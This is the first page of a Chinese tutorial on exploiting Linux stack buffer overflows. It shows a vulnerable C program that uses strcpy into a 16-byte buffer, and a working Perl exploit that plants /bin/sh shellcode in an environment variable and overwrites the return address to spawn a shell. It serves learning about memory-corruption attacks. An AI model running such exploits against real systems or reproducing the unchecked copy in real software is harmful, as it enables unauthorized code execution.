Linux下溢出漏洞利用学习


背景:从进入计算机领域已有近八年的时间了,自我感觉在整体轮廓上对各层次都有了一定的了解。但就安全领域来说,却是实实在在的门外汉;然而安全话题却一直引领计算机行业的发展。最近看了不少关于黑客及逆向工程方面的资料,自认有了一定的了解;尤其在学习Xfocus出版的《网络渗透技术》时,发现溢出漏洞的发现和利用原来是这么回事。下面就我所理解的和基于书上所展示的实例,说说Linux环境下的漏洞是怎样的以及是如何利用的。

 

适宜读者:想了解溢出漏洞的小白;熟悉Linux环境下的C编程,熟悉GccGdb;熟悉Linux下的AT&T汇编;了解Perl

 

1. 编程环境

2. 一个溢出漏洞实例

3. 溢出是如何发生的

4. 如何编写及提取Shellcode

5. 怎样利用溢出漏洞

 

1. 编程环境

  我的测试环境是Red Hat 9.0。当然你也可以使用其他的Linux版本,不过在高版本的Linux环境下可能会有防溢出机制(比如说Ubuntu 7.10);尽管说在这种环境下也许有高人可以做到溢出利用,但这已不属于本文章的范畴。如果你是小白,如果你想一次成功,推荐你先在RH9中测试。

  在利用漏洞时使用的是perl脚本;这里并不需要你有太深的perl功底,只要能理解这里使用的几条语句就行了。当然,在你的Red Hat上一定要安装gccgdbperl解释器,这些在安装光盘里都可以找到。

 

2. 一个溢出漏洞实例

  为了在直观上对溢出有个清晰的理解,我们先给出一个非常简单的溢出漏洞实例。首先看一个有溢出漏洞的简单程序vulnerable.c

#include <stdio.h>
#
include <string.h>

int
 main(int argc, char *argv[])
{
    char
 buff[16];

    strcpy
(buff, argv[1]);
    printf
("\n%s\n", buff);
}

程序中在使用strcpy函数时,因为没有检测字符串的长度而导致当argv[1]串长超过16字节时就会出现缓冲区溢出现象。使用gcc命令将vulnerable.c编译为可执行程序vulnerable,命令为gcc -o vulnerable vulnerable.c,如下图所示: 

为了在本地利用该漏洞,我们需要精心构造shellcode,下面是用perl写的利用程序exploit.pl

#!/usr/bin/perl
#
# exploit.pl

$
shellcode 
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
;
# 这里path需要设为本机环境下vulnerable的路径

$
path = "/home/bill/Cracker/vulnerable";

$
ret = 0xbffffffc - (length($path)+1) - (length($shellcode)+1);

$
new_retword = pack('l',$ret);

printf
("[+] Using ret Shellcode 0x%x\n", $ret);

%
ENV=(); $ENV{CC}=$shellcode;

exec
 "$path",$new_retword x 8;

其中,上面提到的两个程序附在附件中(这里需要注意的是exploit.pl在创建后需要修改属性才能执行)。上面的shellcode是精心构造过的,在后面的构造shellcode章节将讲述。

运行exploit.pl我们将得到一个shellsh-2.05b$): 

如果你能得到控制台(sh-2.05b$),就代表你已经攻击成功了。下面我们将详细讲述溢出漏洞相关的内容。

  • 1
  • 2
  • 3
  • 4
  • 下一页

相关内容